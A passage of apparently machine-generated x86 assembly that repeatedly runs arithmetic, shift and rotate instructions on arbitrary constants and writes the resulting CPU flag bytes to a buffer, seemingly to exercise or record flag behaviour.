pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xb720e58b
mov ecx, 0xe8d91108
sub ebx, ecx
mov eax, 0x1aaa41c0
aas
mov ecx, 0x4a380f45
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x825acf6c
mov eax, 0x1c8b0c87
sub ebx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x458041a1
mov ecx, 0x92032564
rol ebx, cl
mov eax, 0x39acd495
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x4757dbe6
sub ebx, 0x12440f13
mov eax, 0xb17204a9
rol eax, 1
mov edx, 0x4958c54a
mov ecx, 0x5e3bd4b2
sar edx, cl
mov eax, 0x218352a4
add eax, 0x5f00606a
mov ebx, 0x6bcb0048
sal ebx, 1
mov edx, 0x3db2b3a8
shl edx, 1
mov ebx, 0x950ec986
mov ecx, 0x4f09c482
ror ebx, cl
mov eax, 0x37e60264
mov ecx, 0xd6412687
rol eax, cl
mov eax, 0xa540c040
mov ecx, 0x98c318ea
ror eax, cl
mov eax, 0x5d3bebc4
mov ecx, 0x97ca7c28
ror eax, cl
mov edx, 0x864573b8
mov eax, 0x619adcd8
add edx, eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3ec03755
mov ecx, 0xa843ea73
rol edx, cl
mov ebx, 0x1d3104dc
neg ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xd7f06a95
dec eax
mov edx, 0x26c6de95
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xeb4c1a90
dec ecx
mov eax, 0x7038aa87
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x1b370e25
cmp ecx, 0x88a457a1
mov eax, 0x4609d8ba
aas
mov ebx, 0xd1fec90
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc0e853b4
aas
mov ebx, 0x24d564a2
sub ebx, 0xc4ead200
mov eax, 0x45b6539e
aaa
mov eax, 0x71c0b1bf
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8a84fde5
mov ecx, 0x7897af92
rol eax, cl
mov ecx, 0xb8696555
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xc0dda693
mov eax, 0xa452399a
add ecx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xd39bf1e9
cmp ecx, 0x833843ea
lahf
mov byte [edi], ah
inc edi
mov edx, 0x627c4652
shl edx, 1
mov ecx, 0x9b75501f
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xc42d789c
shl ebx, 1
mov ecx, 0x4be5a60f
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x3b991774
inc eax
mov edx, 0x135b64ea
rol edx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xdd0d1993
inc ecx
mov edx, 0xa0c53df4
mov ecx, 0xeb3c51ec
rol edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xb404115
shl ebx, 0x58
mov eax, 0x9b6c5cdf
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x70171fcb
rol ebx, 1
mov edx, 0x4b0f79d6
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xb746b94d
mov ecx, 0x3721f4f4
rol edx, cl
mov ebx, 0x29a09a27
dec ebx
mov edx, 0x7df6ee98
mov ecx, 0x2a91d508
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6947457
shl ebx, 1
mov eax, 0x7fdfb426
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x2f56bd0e
rol edx, 1
mov eax, 0x1a06f6af
inc eax
mov ebx, 0xd0924612
mov ecx, 0xf61d5cdb
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd2db951b
mov ecx, 0xdfea5543
rol ebx, cl
mov edx, 0x30af452a
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x696daee8
shl edx, 1
mov ebx, 0x2f698eaf
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1fb49c49
sub eax, 0x87dd0c03
mov eax, 0xb14c8f8c
aas
mov eax, 0x3a7b5ff0
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7df35f35
mov ecx, 0x686295cb
ror eax, cl
mov eax, 0x32e510c8
rol eax, 1
mov edx, 0xd99d75f2
dec edx
mov edx, 0x72993528
mov ecx, 0x4fe02530
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xf937cd4f
dec edx
mov edx, 0x340922de
rol edx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x68d498dc
add edx, 0x6a7d25c1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x6c3527b8
rol eax, 1
mov ebx, 0x472248d1
neg ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x39fb155a
inc ebx
mov ebx, 0xceade549
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2665f503
mov ecx, 0x835c2ff1
rol eax, cl
mov eax, 0xffb51946
aas
mov eax, 0x6d160355
rol eax, 1
mov edx, 0x4edd1def
inc edx
mov edx, 0x944c8dac
mov ecx, 0xec7f209b
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xec77aedc
mov ecx, 0x2e764ab1
ror ebx, cl
mov ebx, 0x8d4936a1
mov ecx, 0x6750cea7
rol ebx, cl
mov eax, 0xd06823c0
sal eax, 1
mov ebx, 0x29b2e0dd
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x3d0a5d9c
mov eax, 0x397b35db
sub ecx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xfcbadf45
rol eax, 1
mov ecx, 0x237433ed
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x115bc53b
shl edx, 1
mov ebx, 0x413673f5
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x77d28229
mov ecx, 0xb25d3a93
rol edx, cl
mov eax, 0x3639d5e6
shl eax, 0x42
mov edx, 0x6d54f215
mov ecx, 0x54fd7d67
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd8bbad07
mov ecx, 0xd14aeda6
rol edx, cl
mov eax, 0x459726d1
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xb3eeaf96
mov edx, 0x508f4611
cmp ecx, edx
mov eax, 0x1088d62
aas
mov ebx, 0x25b44e9a
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x64115d78
inc ecx
mov eax, 0x304deb6e
mov ecx, 0x63e482ec
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa368d212
mov ecx, 0x968bbffa
rol edx, cl
mov ebx, 0x6ed40a9e
mov ecx, 0xf87d5731
add ebx, ecx
mov eax, 0xf4bee812
aas
mov ebx, 0xbb58db03
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x9d702bc2
mov ecx, 0x93b3ccb5
ror eax, cl
mov ebx, 0x3c219ed6
inc ebx
mov eax, 0xcfa3ee4a
rol eax, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x7715be87
aas
mov ebx, 0x25c7832b
mov ecx, 0x3b06a6fa
ror ebx, cl
mov eax, 0x7668d090
aaa
mov edx, 0xdf1204b0
dec edx
mov edx, 0x330cf76f
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xed3438b
cmp edx, 0xca102aeb
mov eax, 0xf1b9c7e
sal eax, 0x94
mov eax, 0xfacd0c11
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1294e0c7
mov eax, 0x313d4ee4
add ebx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xbc924025
sub edx, 0xf663ba71
mov eax, 0x95bf9183
aaa
mov ecx, 0xcedbdbe5
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x4b521fb3
mov ecx, 0xa3ddbe9a
ror edx, cl
mov edx, 0x5a5af933
add edx, 0x148b7c01
mov eax, 0xed3417ae
mov ecx, 0xf807aacd
rol eax, cl
mov ebx, 0x802a8640
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xeaad9215
add ebx, 0xd1e24fa3
mov eax, 0x29cf8fdd
aaa
mov ecx, 0x6bbc4df0
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xd5bbdf3f
inc ebx
mov eax, 0x4133e6f5
mov ecx, 0x30a2c5ef
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdc25d0a7
aas
mov eax, 0x6adde276
rol eax, 1
mov ebx, 0x357b591f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x99b07930
mov ecx, 0xd8f319e8
ror edx, cl
mov ecx, 0x736bbfe4
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x24375f25
inc ebx
mov edx, 0xccd3901d
mov ecx, 0x26c261ba
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x712822ec
sub eax, 0x8e419616
mov eax, 0x90c33b43
aaa
mov ecx, 0x761ff944
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xfed8641
mov ecx, 0x7e048606
rol eax, cl
mov ebx, 0xd2b60e8e
mov ecx, 0xda514fc3
sal ebx, cl
mov eax, 0x5566a2cf
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7ec65ba5
sal ebx, 1
mov edx, 0x31dde2ce
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x34ca8a0
mov ecx, 0xb77f708b
ror edx, cl
mov edx, 0x618699da
mov ecx, 0x226134fc
ror edx, cl
mov ecx, 0xba7ad740
add ecx, 0xc22b93bc
mov eax, 0xd36340f0
neg eax
mov eax, 0x7c5239b8
mov edx, 0x1b23c2da
cmp eax, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9e027f34
sub edx, 0x1313e918
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x76807776
mov ecx, 0xe7037f7b
ror ebx, cl
mov ecx, 0x34e0a31f
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xb5b1ece
mov ecx, 0xaa6a16f1
rol edx, cl
mov eax, 0xf4616ee
rol eax, 1
mov ebx, 0xd5f600fe
mov edx, 0x3df703f6
sub ebx, edx
mov eax, 0x52c920f4
aas
mov edx, 0x2be8f0e7
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x267e5410
rol edx, 1
mov eax, 0xfd71618e
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xf9306608
inc edx
mov ebx, 0xbe48b3c6
mov ecx, 0xd0ebcc94
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe6095a5
rol eax, 1
mov edx, 0x5a42fff8
dec edx
mov eax, 0x54bc1813
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xde431e46
add ebx, 0x3cc066b7
lahf
mov byte [edi], ah
inc edi
mov eax, 0x33136b8
mov ecx, 0xe3d85a67
ror eax, cl
mov edx, 0x55f04d73
shl edx, 1
mov edx, 0x42faf3c2
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xbfdd38f1
rol edx, 1
mov eax, 0x769e2638
aaa
mov eax, 0xeefce2bb
cmp eax, 0xb9859fbd
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x943d5bfe
rol eax, 1
mov edx, 0xd62ec5f3
mov ebx, 0x65cfe9a8
add edx, ebx
mov eax, 0x7be15c67
aaa
mov eax, 0x3fc7e135
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x26de9998
mov ecx, 0xc619bb9a
rol eax, cl
mov eax, 0x8254280c
cmp eax, 0x45fdfe01
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x37b5a5a8
mov ecx, 0xc7ec4ac5
rol ebx, cl
mov ebx, 0xf98f7e9f
mov ecx, 0x60ee1602
ror ebx, cl
mov eax, 0x46086fe8
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x647fee38
mov ecx, 0xe19e6ebe
sar ebx, cl
mov eax, 0x4138763d
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xff50fc2a
mov ecx, 0xd113d29c
rol eax, cl
mov eax, 0xe03740fa
dec eax
mov eax, 0x48d3ff93
mov ecx, 0x12c2cfe8
rol eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x45274c8e
rol ebx, 1
mov ebx, 0xa0792484
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb8d01c30
dec edx
mov eax, 0x8edaff11
mov ecx, 0x2085a411
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdb3d7c77
rol ebx, 1
mov edx, 0x15df3da1
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xdac4ad96
shl ebx, 1
mov ecx, 0x4565763d
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x7cf4f048
mov ecx, 0xeec77818
rol ebx, cl
mov eax, 0x17a27468
shl eax, 1
mov eax, 0x1d5f94a7
mov ecx, 0x71fe9603
rol eax, cl
mov eax, 0x4e98277e
aas
mov ebx, 0x112df276
mov ecx, 0xbc444655
rol ebx, cl
mov ecx, 0xfb6a6430
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x503bd862
sal eax, 1
mov ebx, 0x35968441
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xae0bf823
sal edx, 1
mov ecx, 0x49a6c76d
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2900fc1b
inc edx
mov ebx, 0xd52c0389
mov ecx, 0x24dfdd54
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x423e60d2
sal edx, 1
mov edx, 0x310da93a
sub edx, 0x8c205c7
mov ebx, 0x3d5975ba
rol ebx, 1
mov eax, 0xc5a96ee0
aas
mov edx, 0xe0bcd429
mov ebx, 0x2845a5b6
cmp edx, ebx
mov edx, 0xb177dc81
mov ecx, 0xe776ea89
ror edx, cl
mov ebx, 0x69ac090b
mov edx, 0x9675bb16
cmp ebx, edx
mov ebx, 0xa26c1898
mov ecx, 0x40350602
sub ebx, ecx
mov eax, 0x8f45e03c
cmp eax, 0x369a41ce
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x20f922e0
neg eax
mov eax, 0x53ec8147
aaa
mov eax, 0x3484e026
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x14255347
dec ecx
mov eax, 0x4787b8e6
mov ecx, 0xcbc68589
ror eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xb2761642
mov ebx, 0x2077ca0a
add edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xaf14162e
mov ecx, 0x1567b50e
ror eax, cl
mov ebx, 0x810af64f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5447ce6
inc ebx
mov eax, 0x31b095e0
mov ecx, 0xd0f373b7
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x66e01ffb
mov ecx, 0x3d99a8a3
cmp eax, ecx
mov ecx, 0x87719252
add ecx, 0x4956e4ce
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x6ec04698
mov ecx, 0x98434d05
rol ebx, cl
mov eax, 0x8d319b15
add eax, 0x3c163e18
mov eax, 0xaff3c04f
shl eax, 1
mov ebx, 0x19e0f0fa
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xb8a49605
mov ecx, 0xb3753bc
rol ebx, cl
mov ebx, 0x700e785f
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xce075778
sub edx, 0xb342da0
mov eax, 0xe259b7a7
aas
mov ecx, 0x76ffd433
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9ebb89c
mov ecx, 0x493ab3f5
ror eax, cl
mov edx, 0x43db3537
rol edx, 1
mov eax, 0x53537668
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb338d97b
mov ebx, 0x8f111f96
sub eax, ebx
mov eax, 0xf4946d3
aaa
mov edx, 0x570578b4
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x10c5d79b
shl eax, 0x67
mov edx, 0x1272a398
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xcb6c5f45
aaa
mov eax, 0x3b0ffc53
sal eax, 1
mov ebx, 0x6cbc2700
dec ebx
mov ebx, 0x9754152f
mov ecx, 0x76a77bdc
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xd93ed206
aaa
mov eax, 0x579788fa
sal eax, 1
mov eax, 0xf7dd84df
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe14c942a
mov ecx, 0x4d7f461f
ror ebx, cl
mov ecx, 0x2a7bc9c0
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x58ae4226
dec eax
mov ebx, 0x7fc8c116
mov ecx, 0xa86b192c
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x6b1a22a
shl eax, 1
mov ebx, 0xc5b36861
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x841e25fd
rol edx, 1
mov eax, 0xcfb82162
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x1c9cd3b
mov ecx, 0xddd047a3
rol eax, cl
mov ecx, 0x280ba1db
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x9665ce51
mov edx, 0xff3aabad
add ecx, edx
mov eax, 0xe0f047df
mov ecx, 0xb53388b7
sar eax, cl
mov edx, 0x1c1c127a
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xec95b02c
sub eax, 0x51aa8374
mov eax, 0xdc778143
aas
mov ebx, 0x6c020801
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x25056f23
mov ecx, 0xd87c7eed
ror eax, cl
mov eax, 0xbb148066
rol eax, 1
mov ebx, 0xa03fd47a
mov edx, 0x9d0cc4c3
sub ebx, edx
mov edx, 0x55217f64
mov ecx, 0x87888c0b
rol edx, cl
mov edx, 0x20a31f00
rol edx, 1
mov ebx, 0x16a6a9f6
mov eax, 0x68e70312
add ebx, eax
mov edx, 0x70534234
sub edx, 0x4d901dbf
lahf
mov byte [edi], ah
inc edi
mov eax, 0x96cb185f
aaa
mov ebx, 0x9d54ed85
mov ecx, 0xd4a7234e
rol ebx, cl
mov eax, 0x3597b8c0
add eax, 0x38403f5
mov eax, 0xd3f07380
aas
mov ebx, 0x408f68ee
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x80a121b0
aaa
mov ebx, 0xf023bfde
mov ecx, 0x85526927
ror ebx, cl
mov edx, 0x7baeaa0
mov ecx, 0x70e5f61c
ror edx, cl
mov ecx, 0xd36ac1e9
mov edx, 0x805b3cf5
cmp ecx, edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x1c0e4d30
mov ecx, 0x9209e451
rol eax, cl
mov edx, 0x41da5379
sal edx, 1
mov ecx, 0x5ebb03f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb192a17a
dec eax
mov ebx, 0xe0ead7a6
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb18e9967
mov ecx, 0xd8905fc
ror eax, cl
mov ecx, 0xf945f60e
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xeb1177d2
inc ebx
mov edx, 0x274dbe6a
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xe3b09f9b
add eax, 0xc2293edf
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x754b68bf
mov edx, 0xfb28b243
sub eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x41ffbb45
mov edx, 0xfbcca0d2
sub ecx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x78c493ca
shl ebx, 1
mov edx, 0x65258d40
shl edx, 1
mov ebx, 0xe249eccf
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5236a4dd
mov ecx, 0xa7d1cf46
shl eax, cl
mov eax, 0x5bc2b624
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xeb04c560
add eax, 0x78ed5af7
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x157e5ce1
mov ecx, 0xcb39ec0d
ror edx, cl
mov eax, 0xd618e9a2
mov ecx, 0x25fbab96
rol eax, cl
mov ebx, 0x504c44c2
sal ebx, 0xc3
mov ecx, 0x253856ea
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x1d44d84c
mov ebx, 0x5e2d2feb
add edx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x18ba83c5
mov ecx, 0x25e5b157
ror eax, cl
mov edx, 0x5f747613
rol edx, 1
mov ecx, 0x5255d436
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x770d4837
rol ebx, 1
mov ebx, 0x7ac5b631
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa7d48a3b
mov ecx, 0x7927a944
rol edx, cl
mov ebx, 0x453b4144
mov ecx, 0x1fca4997
ror ebx, cl
mov edx, 0x9b1ed7d3
mov eax, 0x5ffff590
add edx, eax
mov eax, 0x24915850
aas
mov edx, 0xf493d41b
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2883d1fb
add eax, 0x5a00869a
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x3f717477
add ecx, 0xa156ae80
mov eax, 0x7ce2f8fd
aaa
mov edx, 0xd8aab7d2
mov ecx, 0x2f95ae65
shl edx, cl
mov ebx, 0x7a47e651
mov ecx, 0xe2747ddc
sub ebx, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xc0cb9fe
inc edx
mov ebx, 0x51c2778b
mov ecx, 0xfe0d7bad
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x903c8a22
aaa
mov ebx, 0x71045390
dec ebx
mov ebx, 0xdc9c31a2
mov ecx, 0xe40f86f7
rol ebx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x2334a7f4
rol ebx, 1
mov ebx, 0x61e333c
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x763d04b4
sal ebx, 1
mov ebx, 0x23fbca84
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x46f96e25
cmp ecx, 0x463e5f15
mov eax, 0x80d8eff7
aas
mov eax, 0xa6d27b9
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xe4b4a58e
mov ebx, 0x68dd9ebe
sub eax, ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x4b3814c4
rol ebx, 1
mov ebx, 0xc749fa6a
cmp ebx, 0x484ed3a5
mov eax, 0x9b5a1911
aaa
mov ecx, 0x3bb24168
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x47287f1f
mov ecx, 0xac41d8ef
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x841fc079
mov ecx, 0x3bbec518
shl eax, cl
mov ebx, 0x20135cc
mov ecx, 0x5be8dc84
rol ebx, cl
mov edx, 0x18b665f3
mov ecx, 0x78516c95
ror edx, cl
mov edx, 0xe7520f4d
mov ecx, 0x2fddefce
rol edx, cl
mov eax, 0x3a9bbaf1
add eax, 0x5e38c773
mov edx, 0x5c09cdad
cmp edx, 0x1e0edcd1
mov ebx, 0x6acca5cc
rol ebx, 1
mov ebx, 0x1193f80f
sal ebx, 0xc6
mov eax, 0xa739ddd0
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x6de21813
sal eax, 0x52
mov ebx, 0xd73a6e70
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x953017a
mov ecx, 0x729018ff
add ebx, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xa666455f
inc ecx
mov edx, 0x1c3e3073
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xeab49247
cmp ebx, 0xf6dd6d59
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x29aa8935
mov ecx, 0x2495138a
rol eax, cl
mov ebx, 0xb549bfa8
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x2944f41f
sar ebx, 0xc8
mov ecx, 0xee5583c0
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x99a42d50
rol ebx, 1
mov ebx, 0x793c18eb
mov ecx, 0x8f2f5e04
ror ebx, cl
mov edx, 0x107977e0
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xb00151d5
neg edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x5e393dd7
mov ecx, 0x26002b1f
ror edx, cl
mov edx, 0x7dadeeeb
mov ebx, 0x68e29b5d
sub edx, ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3eebb6f2
mov ecx, 0x323a7b9f
ror edx, cl
mov ebx, 0x41de3e1e
shl ebx, 1
mov ebx, 0x7b7f18c
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x1f6d5cad
mov ecx, 0xc7a23097
cmp ebx, ecx
mov edx, 0x21feb2a2
mov ebx, 0xd5f3dd8
sub edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x88b08633
cmp ecx, 0x3293fb7
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x36470c70
neg edx
mov eax, 0xefe39c6f
aaa
mov eax, 0x62356280
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x7d0436ff
mov ecx, 0xa51746ea
rol ebx, cl
mov eax, 0x6421ebd6
dec eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xb7a34109
dec ecx
mov ebx, 0xcd64b365
mov ecx, 0x7af79c70
rol ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xf7853236
dec eax
mov edx, 0xc3836cb3
mov ecx, 0xa32f788
ror edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xad8a71b2
rol eax, 1
mov ecx, 0x230664a
dec ecx
mov edx, 0x115c0585
mov ecx, 0xf3cf6462
ror edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x8dc7caf3
mov ecx, 0x43061883
rol eax, cl
mov edx, 0x22f99e04
mov ecx, 0xf23ed000
cmp edx, ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xde842b16
mov ecx, 0x9c978024
ror eax, cl
mov eax, 0x7a1c1ad9
rol eax, 1
mov eax, 0xd987834f
rol eax, 1
mov eax, 0x2b05625d
shl eax, 1
mov edx, 0x27b2717d
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xbdd69288
add eax, 0x38573794
mov eax, 0xc01f5871
mov ecx, 0x6f6cc7f2
sub eax, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x5ab329a5
mov ecx, 0xc0222a51
rol eax, cl
mov edx, 0x6d2b3ef7
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xced0c3dc
sub edx, 0x9ec970e7
mov eax, 0x5e85d442
aas
mov ecx, 0x5e01b8cf
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xd3ea0522
add ebx, 0xb6db1d61
mov eax, 0xe5b726ba
aas
mov edx, 0xd29e66a0
mov ecx, 0xc8d9336f
ror edx, cl
mov ebx, 0x9d9d5438
sal ebx, 1
mov edx, 0x6628990f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xd26c32be
mov eax, 0xb035eae4
sub ecx, eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xbb22320c
mov ecx, 0xb0ed42d7
ror eax, cl
mov ebx, 0x60075d2e
mov ecx, 0xf64638f8
sar ebx, cl
mov ecx, 0xc59179d9
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x95c90276
dec ebx
mov edx, 0x7ae8732b
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8339b353
rol eax, 1
mov ebx, 0xb9fa71ba
sal ebx, 0x85
mov ecx, 0xc523aadf
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xb59b3ce6
rol edx, 1
mov ebx, 0x7c7c5f45
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xdf14578e
shl ebx, 1
mov ebx, 0x310a8469
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6829b8e0
rol ebx, 1
mov ebx, 0x6094dd27
rol ebx, 1
mov edx, 0x8dd7eb30
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x7a5c9617
mov ecx, 0x60cfb589
ror ebx, cl
